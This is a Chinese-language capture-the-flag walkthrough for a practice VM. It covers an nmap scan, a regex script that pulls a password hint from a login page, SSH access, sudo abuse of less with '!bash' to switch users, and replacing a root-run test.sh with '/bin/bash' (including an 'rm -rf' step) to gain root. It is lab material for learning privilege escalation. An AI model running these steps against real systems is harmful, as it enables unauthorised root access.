正文
kali攻击机地址:192.168.1.4
靶场地址:192.168.1.23
1、端口扫描
bash
nmap -sV -v -T4 -A 192.168.1.23

开放22和80端口
2、代码审计
访问80端口,通过curl命令知道用户名:

网页给了一个正则提示:

利用这个正则提示pattern,去匹配Login Request Example中的内容:

编写1.pyexp脚本:
python
import re
pattern = r'(?<=x-).+(?=en)'
pattern = re.compile(pattern)
text = '''
POST /login HTTP/1.1
Host: 192.168.3.132
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0)
Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.3.132
Connection: keep-alive
Referer: http://192.168.3.132/
Cookie: PHPSESSID=eiag23f4enj5tfcpl7t1qhhk2t
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=admin&password=admin</pre
'''
data = pattern.findall(text)
# print(data)
print(''.join(data))
拿到密码:
bash
www-form-url
ssh登录:
bash
ssh welcome@192.168.1.232
bash
sudo -h Dashazi -u kakeru /usr/bin/less /etc/passwd
!bash
3、Linux备份文件审计
查看sudoers.bak,发现提示:

| 内容 | 含义 |
|---|---|
welcome |
普通用户 welcome |
Dashazi=(kakeru) |
在主机 Dashazi 上,可切换为 kakeru 用户执行命令 |
NOPASSWD: |
执行这条 sudo 命令不需要输密码 |
/usr/bin/less |
仅允许执行 /usr/bin/less 这一个命令 |
kakeru |
用户 kakeru |
ALL=(ALL:ALL) |
可切换为任意用户(包括 root) 执行命令 |
NOPASSWD: |
无需密码 |
/opt/test.sh |
仅允许执行 /opt/test.sh 脚本 |
4、less提权
less提权流程:
- sudo 运行 less(合法)
- less 成功打开文件
- 按
!执行 bash → 拿到 kakeru 权限
bash
sudo -h Dashazi -u kakeru /usr/bin/less /etc/passwd
!bash

可以看到/home/kakeru 文件夹、test.sh文件有改写的权限:

5、tesh.sh脚本替换,写入bash命令提权
看到 /home/kakeru 文件夹是有写权限的,那么就直接换掉test.sh
方法(1):删除替换
bash
rm -rf ./test.sh
echo "/bin/bash" > test.sh
chmod +x test.sh
sudo -u root /opt/test.sh
id

方法(2):移动替换
bash
mv test.sh 66
echo "/bin/bash" > test.sh
chmod +x test.sh
sudo -u root /opt/test.sh
id